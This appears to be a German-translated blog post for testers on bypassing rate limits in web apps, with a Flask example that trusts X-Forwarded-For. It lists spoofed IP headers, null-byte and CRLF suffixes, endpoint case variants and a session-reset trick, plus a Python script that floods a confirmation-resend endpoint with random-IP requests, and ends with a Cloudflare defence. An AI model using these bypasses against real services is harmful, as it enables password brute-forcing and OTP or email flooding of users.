Wenn Ihre Anwendung grundlegende Funktionen wie Anmeldung, Registrierung, Zurücksetzen/Wiederherstellen von Passwörtern, Bestätigungslinks zum erneuten Senden und andere spezifische Funktionen umfasst, die Serveranfragen erfordern, ist es wichtig, Mechanismen gegen Brute-Force-Angriffe und die Erzeugung einer erheblichen Belastung Ihres Dienstes zu implementieren. Ohne solche Mechanismen ist Ihre Anwendung möglicherweise anfällig für verschiedene Bedrohungen, einschließlich des Versendens einer übermäßigen Anzahl von E-Mails/OTPs an Benutzer, was möglicherweise zu finanziellen Schäden und Reputationsschäden führen kann.
Vielen Webanwendungen mangelt es an angemessenen Maßnahmen zur Ratenbegrenzung, da sie sich ausschließlich auf die durch ihre Geschäftslogik auferlegten Einschränkungen verlassen, wie etwa die Beschränkung der Anzahl von Anfragen auf der Grundlage eines Zahlungsmodells. Einige Anwendungen enthalten jedoch Ratenbegrenzungen, insbesondere für Vorgänge wie Anmeldeversuche, Registrierung und andere wichtige Funktionen. Diese Implementierungen sind häufig auf den X-Forwarded-For-Header für die IP-Adressverfolgung angewiesen.
Um ein einfaches Beispiel zu veranschaulichen, habe ich mir dieses Code-Snippet für Flask ausgedacht
from flask import Flask, request, jsonify from flask_limiter import Limiter from flask_limiter.util import get_remote_address app = Flask(__name__) limiter = Limiter( app, key_func=get_remote_address, storage_uri="memory://",) def get_ipaddr(): # Retrieve the client's IP address from the request # X-Forwarded-For header is used to handle requests behind a proxy ip_address = request.headers.get('X-Forwarded-For', request.remote_addr) return ip_address # Rate limit to 5 requests per minute per IP @limiter.limit("5 per minute") @app.route('/') def index(): ip_address = get_ipaddr() return ip_address
In den folgenden Abschnitten erkläre ich verschiedene Ansätze zum Testen und Versuchen, Ratenbeschränkungen in Ihrer Anwendung zu umgehen.
Um Ihre App effizient auf diese Art von Schwachstelle zu testen, ist Automatisierung ein leistungsstarkes Werkzeug. Sie können dies erreichen, indem Sie Skripte wie die in Python verwenden (was ich oft tue) oder Tools wie Burp Suite verwenden (übrigens ein großartiges Tool für Tester und Cybersicherheitsexperten). Außerdem können Tools wie Postman verwendet werden, um Schecks relativ einfach zu automatisieren.
X-Originating-IP: 127.0.0.1
Verwenden Sie in jeder von Ihnen gesendeten Anfrage unterschiedliche IP-Werte.
Verwenden Sie den doppelten X-Forwared-For-Header.
X-Forwarded-For: X-Forwarded-For: 127.0.0.1
Versuchen Sie dasselbe mit verschiedenen Headern.
X-Originating-IP: 127.0.0.1 X-Remote-IP: 127.0.0.1 X-Remote-Addr: 127.0.0.1 X-Client-IP: 127.0.0.1 X-Host: 127.0.0.1 X-Forwared-Host: 127.0.0.1
Versuchen Sie, den Benutzeragenten, den Inhaltstyp, die Akzeptanzsprache usw. oder Cookies zu ändern, also alles, was als Benutzerkennung verwendet werden könnte.
Wenn es ein Ratenlimit von 3 Versuchen pro IP gibt, ändern Sie alle drei Versuche den IP-Wert des Headers (oder anderer Header oder Parameter in Ihren Anfragen).
Versuchen Sie, die von Ihnen gesendeten Parameter zu ergänzen
%00, %0d%0a, %0d, %0a, %09, %0C, %20
Zum Beispiel
param1=value1%%0d%0a param2=value2%00
Wenn Sie beispielsweise OTP für die E-Mail-Verifizierung anfordern und nur drei Versuche haben, verwenden Sie die drei Versuche für
[email protected] [email protected]%00 [email protected]%0d%0a And so on
Wenn Sie beispielsweise den Endpunkt /API/v1/signup testen, versuchen Sie, Brute-Force auf /Signup, /SignUp, /signup anzuwenden. Versuchen Sie, Leerzeichen (von oben) zu den ursprünglichen Endpunkten hinzuzufügen.
Wenn das Limit bei den Anfragen des Endpunkts /api/v1/resetpassword liegt, versuchen Sie es mit Brute-Force, indem Sie einige Abfrageparameter hinzufügen. Sobald das Ratenlimit erreicht ist, versuchen Sie es beispielsweise mit /api/v1/resetpassword?param1=value1
Es kann sein, dass die Logik einer App fehlerhaft ist. Wenn Sie sich vor jedem Versuch bzw. jeder Versuchsreihe bei Ihrem Konto anmelden, wird das Ratenlimit für Ihre IP zurückgesetzt und Sie können Ihren Passwort-Brute-Force-Angriff fortsetzen. Wenn Sie eine Anmeldefunktion testen, können Sie dies in Burp Suit mit einem Pitchfork-Angriff in den Einstellungen tun (oder Sie können dafür ein eigenes Skript schreiben) für jeden Versuch/eine Versuchsreihe.
Hier ist mein Beispiel dafür, wie ich eine einfache Prüfung für den X-Forwarded-For-Header automatisiert habe, um einen POW zu erhalten:
from random import randint import requests import json url = "https://yourapp.net/api/v1/regconfirm-resend" data = { "email": "[email protected]" } N = 100 def generate_random_ip(): return '.'.join( str(randint(0, 255)) for _ in range(4) ) for _ in range(N): headers = { "Host": "yourapp.net", "Content-Type": "application/json", "X-Forwarded-For": generate_random_ip() } response = requests.post(url, headers=headers, data=json.dumps(data)) print(headers) print(f"Status Code: {response.status_code}, Response: {response.text}")
Eine mögliche Lösung könnte der Einsatz von Cloudflare und seinen Mechanismen sein. Eine ausführliche Erklärung finden Sie hier restoring-original-visitor-ips . Ich werde nur einen kurzen Überblick über seine Abwehrmechanismen geben.
Wenn Sie Anwendungen verwenden, die von der eingehenden IP-Adresse des ursprünglichen Besuchers abhängig sind, wird standardmäßig eine Cloudflare-IP-Adresse protokolliert. Die ursprüngliche Besucher-IP-Adresse erscheint in einem angehängten HTTP-Header namens CF-Connecting-IP. Indem Sie unseren Webserveranweisungen folgen, können Sie die ursprüngliche Besucher-IP-Adresse auf Ihrem Ursprungsserver protokollieren. Wenn dieser HTTP-Header nicht verfügbar ist, wenn Anforderungen Ihren Ursprungsserver erreichen, überprüfen Sie die Konfiguration Ihrer Transformationsregeln und verwalteten Transformationen.
Wenn Pseudo-IPv4 auf „Header überschreiben“ eingestellt ist, überschreibt Cloudflare die vorhandenen Cf-Connecting-IP- und X-Forwarded-For-Header mit einer Pseudo-IPv4-Adresse, während die echte IPv6-Adresse im CF-Connecting-IPv6-Header erhalten bleibt.
HINWEIS: Denken Sie daran, bei der Implementierung eines solchen Abwehrmechanismus gründliche Tests durchzuführen. Dieser Ansatz könnte anschließend auf den gesamten Cluster angewendet werden und sich nachteilig auf bestimmte Funktionen und Mikrodienste auswirken, wenn dies unnötig ist. Kurz gesagt: Seien Sie bei der Behebung einer Sicherheitslücke vorsichtig, da diese möglicherweise Auswirkungen auf die gesamte Anwendung haben könnte. Analysieren Sie, welcher Teil Ihres Systems negativ beeinflusst werden könnte, und testen Sie alles, bevor Sie Änderungen an der Produktumgebung vornehmen.
Auch hier veröffentlicht.